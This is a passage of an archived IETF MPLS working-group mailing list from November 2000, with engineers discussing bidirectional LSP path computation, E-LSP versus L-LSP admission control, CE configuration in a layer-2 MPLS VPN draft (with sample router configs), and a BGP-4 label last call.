compute two paths at once, the forward path and the reverse path. Depending on the type of bidirectional LSP, the requirement on the reverse path may be that it must follow the matching reverse half-links, or follow any reverse half link. > If this suggestion is correct, then in bidirectional FA case, CSPF could not > proceed bidirectional path computation > until backward FA will be established. CSPF should wait until such FA will > be flooded by tail-end LSR. How does CSPF know that a particular FA will be used in the computation? How long does CSPF wait for links/FAs to be announced? Kireeti. From owner-mpls@UU.NET Thu Nov 23 03:03:11 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA02413 for ; Thu, 23 Nov 2000 03:03:11 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqng16515; Thu, 23 Nov 2000 08:01:19 GMT Received: by mail-control.mail.uu.net id QQjqng19297 for mpls-outgoing; Thu, 23 Nov 2000 08:00:51 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqng19276 for ; Thu, 23 Nov 2000 08:00:48 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqng18025 for ; Thu, 23 Nov 2000 08:00:41 GMT Received: from internet-gateway.zurich.ibm.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: internet-gateway-x.zurich.ibm.com [195.212.119.253]) id QQjqng23269 for ; Thu, 23 Nov 2000 08:00:40 GMT Received: from zurich.ibm.com (internet-gateway.zurich.ibm.com [9.4.3.253]) by internet-gateway.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with ESMTP id JAA36960; Thu, 23 Nov 2000 09:00:05 +0100 Message-ID: <3A1CCE84.B1588EA0@zurich.ibm.com> Date: Thu, 23 Nov 2000 09:00:04 +0100 From: "Daniel N. Bauer" Organization: IBM Research X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.14-12 i686) X-Accept-Language: de, en MIME-Version: 1.0 To: Simeone Mastropietro CC: mpls@UU.NET Subject: Re: E-LSP or L-LSP References: <3A1B9A32.71DCEE96@coritel.it> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Here's one difference that might or might not be important: Packets that are carried inside an E-LSP might belong to different PHB scheduling classes, whereas packets inside an L-LSP belong to the same PHB scheduling class. This difference is important in the case where admission control is required/wanted: For L-LSPs, admission control can be carried out since the traffic specification in the signaling matches a single PHB scheduling class. For E-LSPs, this is not true and consequently, no admission control can be carried out. Regards, -Daniel Simeone Mastropietro wrote: > > Hi All, > I am a novel researcher on MPLS and TE for Co.Ri.Tel ( Rome, Italy)... > Is there anyone that can help me to understand when E-LSPs or L-LSPs > actually should be used? > Thanks in advance > > Simeone Mastropietro From owner-mpls@UU.NET Thu Nov 23 05:46:43 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA29516 for ; Thu, 23 Nov 2000 05:46:42 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqnr06973; Thu, 23 Nov 2000 10:45:01 GMT Received: by mail-control.mail.uu.net id QQjqnq06262 for mpls-outgoing; Thu, 23 Nov 2000 10:44:29 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqnq06250 for ; Thu, 23 Nov 2000 10:44:18 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqnq19433 for ; Thu, 23 Nov 2000 10:44:15 GMT Received: from hermes.research.kpn.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: hermes.research.kpn.com [139.63.192.8]) id QQjqnq00552 for ; Thu, 23 Nov 2000 10:44:13 GMT Received: from l04.research.kpn.com (l04.research.kpn.com [139.63.192.204]) by research.kpn.com (PMDF V5.2-31 #42699) with ESMTP id <01JWVMRVAJCE001372@research.kpn.com> for mpls@UU.NET; Thu, 23 Nov 2000 11:44:03 +0100 Received: by l04.research.kpn.com with Internet Mail Service (5.5.2650.21) id ; Thu, 23 Nov 2000 11:44:02 +0100 Content-return: allowed Date: Thu, 23 Nov 2000 11:43:56 +0100 From: "Metz, E.T." Subject: RE: ce range in l2 mpls vpns To: "'Juha Heinanen'" Cc: "'mpls@UU.NET'" Message-id: <59063B5B4D98D311BC0D0001FA7E45220316A660@l04.research.kpn.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk hello juha, it is the pe that is configured with the parameters you mention, not the ce. using these, the pe automatically establishes lsp's to other pe's, effictively carrying the ce-to-ce circuits across the mpls backbone. i think ce configuration could still be as you described below (or something similar to that). cheers, eduard > -----Original Message----- > From: Juha Heinanen [mailto:jh@lohi.eng.telia.fi] > Sent: donderdag 23 november 2000 11:31 > To: mpls@UU.NET > Subject: ce range in l2 mpls vpns > > > this may have been discussed already, but why does > draft-kompella-mpls-l2vpn-01.txt require that the ce is > configured with > the ce id, the ce's range and all labels in that range? why can't the > ce dynamically add a new neighbor when it learns about a new label via > lmi, ilmi, or a corresponding mpls protocol? > > i'm asking this because the proposed practice would be a step > backwards > from how people have been running atm or fr vpns for years using cisco > cpe routers, where the only thing i need to configure is the > (sub)interface and an ip address. > > here is a frame relay example: > > interface Serial > ip address
> encapsulation frame-relay IETF > ip ospf network point-to-multipoint > > and here is an atm example: > > vc-class atm broadcast > broadcast > > interface ATM > atm pvc 2 0 16 ilmi > atm ilmi-pvc-discovery subinterface > > interface ATM / multipoint > ip address address mask > ip ospf network point-to-multipoint > class-int broadcast > > dlcis or atm vcs of the other sites are learned dynamically via lmi or > ilmi. as you see in above, the cpe doesn't even need to be configured > with its own ce id. > > -- juha > From owner-mpls@UU.NET Thu Nov 23 05:52:29 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA01880 for ; Thu, 23 Nov 2000 05:52:28 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqnr14722; Thu, 23 Nov 2000 10:50:32 GMT Received: by mail-control.mail.uu.net id QQjqnr06958 for mpls-outgoing; Thu, 23 Nov 2000 10:50:10 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqnr06947 for ; Thu, 23 Nov 2000 10:50:00 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqnr25559 for ; Thu, 23 Nov 2000 10:49:25 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqnr08399 for ; Thu, 23 Nov 2000 10:49:24 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id FAA19045 for mpls@uu.net; Thu, 23 Nov 2000 05:49:23 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqnr06873 for ; Thu, 23 Nov 2000 10:49:00 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqnr22828 for ; Thu, 23 Nov 2000 10:48:11 GMT Received: from lohi.eng.telia.fi by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: lohi.eng.telia.fi [195.10.149.18]) id QQjqnr06484 for ; Thu, 23 Nov 2000 10:48:09 GMT Received: (from jh@localhost) by lohi.eng.telia.fi (8.11.1/8.11.1/Debian 8.11.0-6) id eANAm5706166; Thu, 23 Nov 2000 12:48:05 +0200 From: Juha Heinanen MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14876.62949.300447.466461@lohi.eng.telia.fi> Date: Thu, 23 Nov 2000 12:48:05 +0200 (EET) To: "Metz, E.T." Cc: "'mpls@UU.NET'" Subject: RE: ce range in l2 mpls vpns In-Reply-To: <59063B5B4D98D311BC0D0001FA7E45220316A660@l04.research.kpn.com> References: <59063B5B4D98D311BC0D0001FA7E45220316A660@l04.research.kpn.com> X-Mailer: VM 6.75 under Emacs 19.34.1 Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Metz, E.T. writes: > it is the pe that is configured with the parameters you mention, not > the ce. that is not what the i-d says: 4.2.1. CE Configuration Each CE that belongs to a VPN is given a "CE ID". CE IDs must be unique in the context of a VPN. We assume that the CE ID for CE-k is k. Each CE is also configured with a maximum number of CEs that it can connect to; this is the CE's "range". Each CE is configured to communicate with its corresponding PE with the set of DLCIs given above; for example, CE0 is configured with DLCIs 100 through 109. OSPF is configured to run over each DLCI. -- juha From owner-mpls@UU.NET Thu Nov 23 06:48:20 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA22214 for ; Thu, 23 Nov 2000 06:48:19 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqnv28174; Thu, 23 Nov 2000 11:46:02 GMT Received: by mail-control.mail.uu.net id QQjqnv24000 for mpls-outgoing; Thu, 23 Nov 2000 11:45:30 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqnv23984 for ; Thu, 23 Nov 2000 11:45:18 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqnu00729 for ; Thu, 23 Nov 2000 11:44:17 GMT Received: from gatekeeper.cam.virata.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: gatekeeper.virata.com [194.129.40.2]) id QQjqnu16592 for ; Thu, 23 Nov 2000 11:44:17 GMT Received: from boletus.cam.virata.com (boletus.cam.virata.com [192.168.219.9]) by gatekeeper.cam.virata.com (8.9.3/8.8.5) with ESMTP id LAA03690; Thu, 23 Nov 2000 11:44:13 GMT Received: from fileserv.ta.virata.com (fileserv.ta.virata.com [10.0.0.254]) by boletus.cam.virata.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id LAA28503; Thu, 23 Nov 2000 11:44:12 GMT Received: by fileserv.ta.virata.com with Internet Mail Service (5.5.2650.21) id ; Thu, 23 Nov 2000 13:43:15 +0200 Message-ID: From: "Dovolsky, Dan" To: "'Kireeti Kompella'" Cc: mpls@UU.NET Subject: RE: draft-ietf-mpls-lsp-hierarchy-01 issues Date: Thu, 23 Nov 2000 13:43:08 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk BSD. Kireeti, 1.) I would offer following rule definition: If establishing of bidirectional LSPs over FAs is required, this FA has to be bidirectional, i.e. it itself has to be established by bidirectional LSP setup. As it's already defined, unidirectional FAs should not be taken in account when bidirectional path is computed. 2.) How the "matching reverse half-links" could be clearly defined? Dan. -----Original Message----- From: Kireeti Kompella [mailto:kireeti@juniper.net] Sent: Wed, November 22, 2000 11:20 PM To: ddovolsky@virata.com; kireeti@juniper.net; yakov@cisco.com Cc: mpls@UU.NET Subject: RE: draft-ietf-mpls-lsp-hierarchy-01 issues Hi Dan, > The only one point still seems to me unclear. > I agree, that unidirectional links have to be checked only in one direction. > However, my suggestion is, that in bidirectional case, CSPF has to check > if there is some link in backward direction between the same pair of > routers. This link should comply to the > same topology/bandwidth constrains like a forward direction link. Let me clarify: in setting up a unidirectional LSP, don't do the bidirectional check. Note that the bidirectional check only checks for *some* reverse link, NOT a matching reverse link. Check footnote 23 of RFC 2328 for OSPF's view on this. IS-IS isn't clear on this point, but I believe most implementations do what the OSPF spec says. In setting up a bidirectional LSP, CSPF has to change -- this is a new type of path set up. CSPF has to compute two paths at once, the forward path and the reverse path. Depending on the type of bidirectional LSP, the requirement on the reverse path may be that it must follow the matching reverse half-links, or follow any reverse half link. > If this suggestion is correct, then in bidirectional FA case, CSPF could not > proceed bidirectional path computation > until backward FA will be established. CSPF should wait until such FA will > be flooded by tail-end LSR. How does CSPF know that a particular FA will be used in the computation? How long does CSPF wait for links/FAs to be announced? Kireeti. From owner-mpls@UU.NET Thu Nov 23 06:52:10 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA23421 for ; Thu, 23 Nov 2000 06:52:10 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqnv29414; Thu, 23 Nov 2000 11:50:29 GMT Received: by mail-control.mail.uu.net id QQjqnv24452 for mpls-outgoing; Thu, 23 Nov 2000 11:50:11 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqnv24441 for ; Thu, 23 Nov 2000 11:50:01 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqnv04005 for ; Thu, 23 Nov 2000 11:48:03 GMT Received: from hermes.research.kpn.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: hermes.research.kpn.com [139.63.192.8]) id QQjqnv01428 for ; Thu, 23 Nov 2000 11:48:00 GMT Received: from l04.research.kpn.com (l04.research.kpn.com [139.63.192.204]) by research.kpn.com (PMDF V5.2-31 #42699) with ESMTP id <01JWVP03KJ4A001353@research.kpn.com> for mpls@uu.net; Thu, 23 Nov 2000 12:47:57 +0100 Received: by l04.research.kpn.com with Internet Mail Service (5.5.2650.21) id ; Thu, 23 Nov 2000 12:47:56 +0100 Content-return: allowed Date: Thu, 23 Nov 2000 12:47:45 +0100 From: "Metz, E.T." Subject: FW: ce range in l2 mpls vpns To: "'jh@lohi.eng.telia.fi'" , "'Kireeti Kompella'" Cc: "'mpls@uu.net'" Message-id: <59063B5B4D98D311BC0D0001FA7E45220316A661@l04.research.kpn.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk This is indeed a bit confusing. As far as I understand (Kireeti: correct me if I'm wrong here) the parameters are actually *configured* on the PE. However, the CE should know about this. In particular the CE configuration should reflect the same logic that is applied by the PE in mapping CE-to-CE circuits to eachother. This is the algorithm described in Section 4.3.1. When CE and PE configuration are not aligned on this point, the CE may expect to connect to one site on a particular circuit, while the PE actually connects it to another one. I think the text should say that the parameters are configured on the PE, and that the CE should know about this / reflect this in it's configuration. Currently, it is described in the exact opposite way. Also it makes less sense to configure it on the CE since there is no interaction between PE and CE to exchange this information. cheers, Eduard Metz, E.T. writes: > it is the pe that is configured with the parameters you mention, not > the ce. that is not what the i-d says: 4.2.1. CE Configuration Each CE that belongs to a VPN is given a "CE ID". CE IDs must be unique in the context of a VPN. We assume that the CE ID for CE-k is k. Each CE is also configured with a maximum number of CEs that it can connect to; this is the CE's "range". Each CE is configured to communicate with its corresponding PE with the set of DLCIs given above; for example, CE0 is configured with DLCIs 100 through 109. OSPF is configured to run over each DLCI. -- juha From owner-mpls@UU.NET Thu Nov 23 08:05:25 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA16046 for ; Thu, 23 Nov 2000 08:05:24 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqoa12027; Thu, 23 Nov 2000 13:03:43 GMT Received: by mail-control.mail.uu.net id QQjqoa22329 for mpls-outgoing; Thu, 23 Nov 2000 13:03:25 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqoa22314 for ; Thu, 23 Nov 2000 13:03:20 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqoa20840 for ; Thu, 23 Nov 2000 13:02:31 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqoa10268 for ; Thu, 23 Nov 2000 13:02:30 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id IAA24157 for mpls@uu.net; Thu, 23 Nov 2000 08:02:30 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqoa17747 for ; Thu, 23 Nov 2000 13:02:07 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqoa26739 for ; Thu, 23 Nov 2000 13:01:28 GMT Received: from lohi.eng.telia.fi by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: lohi.eng.telia.fi [195.10.149.18]) id QQjqoa19666 for ; Thu, 23 Nov 2000 13:01:26 GMT Received: (from jh@localhost) by lohi.eng.telia.fi (8.11.1/8.11.1/Debian 8.11.0-6) id eAND1I006283; Thu, 23 Nov 2000 15:01:18 +0200 From: Juha Heinanen MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14877.5406.602608.634730@lohi.eng.telia.fi> Date: Thu, 23 Nov 2000 15:01:18 +0200 (EET) To: "Metz, E.T." Cc: "'Kireeti Kompella'" , "'mpls@uu.net'" Subject: FW: ce range in l2 mpls vpns In-Reply-To: <59063B5B4D98D311BC0D0001FA7E45220316A661@l04.research.kpn.com> References: <59063B5B4D98D311BC0D0001FA7E45220316A661@l04.research.kpn.com> X-Mailer: VM 6.75 under Emacs 19.34.1 Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Metz, E.T. writes: > When CE and PE configuration are > not aligned on this point, the CE may expect to connect to one site on a > particular circuit, while the PE actually connects it to another one. in fr or atm world, the ce learns via lmi or ilmi about new or deleted labels. then it sends an inarp message along the vc and learns who is behind that vc and starts to exchange ospf messages with it. the vc topology doesn't need to be full mesh and still all the vpn members can share a common ip subnet. as long as the ce-pe protocol remains fr or atm and mpls is used only in the provider network, there should be no changes whatsoever to the above described ce operation. but if the ce-pe protocol is native mpls, then the standard fr or atm inarp procedure stops working, because (a) mpls vcs are unidirectional and (b) can be merged. one possibility might be that the destination ce that receives an inarp request for an unkown source, sends the reply back to all vcs that are still unknown to it. -- juha From owner-mpls@UU.NET Thu Nov 23 08:44:11 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA24797 for ; Thu, 23 Nov 2000 08:44:11 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqoc05306; Thu, 23 Nov 2000 13:42:23 GMT Received: by mail-control.mail.uu.net id QQjqoc25541 for mpls-outgoing; Thu, 23 Nov 2000 13:41:45 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqoc25536 for ; Thu, 23 Nov 2000 13:41:41 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqoc07798 for ; Thu, 23 Nov 2000 13:41:10 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqoc15255 for ; Thu, 23 Nov 2000 13:41:09 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id IAA25728 for mpls@uu.net; Thu, 23 Nov 2000 08:41:08 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqoc25306 for ; Thu, 23 Nov 2000 13:40:56 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqoc05770 for ; Thu, 23 Nov 2000 13:40:31 GMT Received: from lohi.eng.telia.fi by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: lohi.eng.telia.fi [195.10.149.18]) id QQjqoc14422 for ; Thu, 23 Nov 2000 13:40:30 GMT Received: (from jh@localhost) by lohi.eng.telia.fi (8.11.1/8.11.1/Debian 8.11.0-6) id eANDeJh06428; Thu, 23 Nov 2000 15:40:19 +0200 From: Juha Heinanen MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14877.7747.280473.754163@lohi.eng.telia.fi> Date: Thu, 23 Nov 2000 15:40:19 +0200 (EET) To: eduard metz Cc: kireeti@juniper.net, mpls@UU.NET, e.t.metz@kpn.com Subject: FW: ce range in l2 mpls vpns In-Reply-To: <20001123132950.13265.qmail@localhost> References: <20001123132950.13265.qmail@localhost> X-Mailer: VM 6.75 under Emacs 19.34.1 Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit eduard metz writes: > however, there > are many situations in which this is not the case. for example: when > the network is treated as a collection of point-to-point links (with > individual /30s), or when the network is native l2 ... > in these cases some alignment / coordination between pe and ce > configuration is required. you need to know which circuit is > connected to which site to end up with a correct, and working > configuration. this too can and has been automated at least in case of atm. you simply have one-to-one mapping between subinterface numbers and vpi numbers and then when the ce learns a new label, it knows which subinterface it belongs to based on its vpi component. the same can be done with native mpls by using label stacking: the outer label selects the vpn and the inner label determines a site within that vpn. it doesn't matter if a "vnp" has many sites or if it is just a point to point link. -- juha From owner-mpls@UU.NET Thu Nov 23 08:51:47 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA26423 for ; Thu, 23 Nov 2000 08:51:47 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqod13557; Thu, 23 Nov 2000 13:50:02 GMT Received: by mail-control.mail.uu.net id QQjqod26150 for mpls-outgoing; Thu, 23 Nov 2000 13:49:29 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqod26141 for ; Thu, 23 Nov 2000 13:49:19 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqod16308 for ; Thu, 23 Nov 2000 13:49:15 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqod15570 for ; Thu, 23 Nov 2000 13:49:14 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id IAA26770 for mpls@uu.net; Thu, 23 Nov 2000 08:49:14 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqod26126 for ; Thu, 23 Nov 2000 13:48:49 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqod14313 for ; Thu, 23 Nov 2000 13:48:21 GMT Received: from lohi.eng.telia.fi by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: lohi.eng.telia.fi [195.10.149.18]) id QQjqod10939 for ; Thu, 23 Nov 2000 13:48:20 GMT Received: (from jh@localhost) by lohi.eng.telia.fi (8.11.1/8.11.1/Debian 8.11.0-6) id eANDmFi06445; Thu, 23 Nov 2000 15:48:15 +0200 From: Juha Heinanen MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14877.8223.515712.274154@lohi.eng.telia.fi> Date: Thu, 23 Nov 2000 15:48:15 +0200 (EET) To: Jim Guichard Cc: "Metz, E.T." , "'Kireeti Kompella'" , "'mpls@uu.net'" Subject: Re: FW: ce range in l2 mpls vpns In-Reply-To: <200011231339.OAA01649@london.cisco.com> References: <59063B5B4D98D311BC0D0001FA7E45220316A661@l04.research.kpn.com> <200011231339.OAA01649@london.cisco.com> X-Mailer: VM 6.75 under Emacs 19.34.1 Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Jim Guichard writes: > it seems to me that as the SP part of the picture is MPLS (as opposed to > ATM) then the DTE to DCE part of the VC (PE to CE) is essentially unchanged > and therefore such mechanisms as lmi and inverse-arp should continue to > function as-is. exactly, as i said earlier: > >as long as the ce-pe protocol remains fr or atm and mpls is used only in > >the provider network, there should be no changes whatsoever to the above > >described ce operation. this case just needs to be covered in the i-d as well as the trickier case when ce-pe protocol is mpls. -- juha From owner-mpls@UU.NET Thu Nov 23 09:20:47 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA02671 for ; Thu, 23 Nov 2000 09:20:47 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqof25171; Thu, 23 Nov 2000 14:19:02 GMT Received: by mail-control.mail.uu.net id QQjqof09876 for mpls-outgoing; Thu, 23 Nov 2000 14:18:40 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqof09871 for ; Thu, 23 Nov 2000 14:18:39 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqof27337 for ; Thu, 23 Nov 2000 14:17:16 GMT Received: from leibniz.info.fundp.ac.be by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: leibniz.info.fundp.ac.be [138.48.32.100]) id QQjqof03401 for ; Thu, 23 Nov 2000 14:17:16 GMT Received: from backus.info.fundp.ac.be (backus [138.48.32.107]) by leibniz.info.fundp.ac.be (8.9.1/8.9.1) with ESMTP id PAA28172; Thu, 23 Nov 2000 15:17:11 +0100 (MET) Received: from info.fundp.ac.be (backus [138.48.32.107]) by backus.info.fundp.ac.be (8.9.1b+Sun/8.9.1) with ESMTP id PAA13878; Thu, 23 Nov 2000 15:17:13 +0100 (MET) Message-ID: <3A1D2680.C7A46@info.fundp.ac.be> Date: Thu, 23 Nov 2000 15:15:28 +0100 From: Olivier Bonaventure Reply-To: Olivier.Bonaventure@info.fundp.ac.be X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.5-15 i686) X-Accept-Language: en MIME-Version: 1.0 To: iesg@ietf.org, mpls@UU.NET Subject: Re: Last Call: Carrying Label Information in BGP-4 to ProposedStandard References: <200011202000.PAA05305@ietf.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit The IESG wrote: > > The IESG has received a request from the Multiprotocol Label Switching > Working Group to consider Carrying Label Information in BGP-4 > as a Proposed Standard. The current BGP-MPLS draft [BGP-MPLS] allows a border router to distribute one or more labels when announcing a route towards a given. This implies that once a border router announces a route with the current draft, it automatically agrees to accept labelled packets towards the announced address prefix. This coupling between the announcement of a route (and the associated address prefix) together with the binding to a label corresponds to today's utilization of BGP for inter-ISP peerings and for MPLS-based VPNs. However, there are many 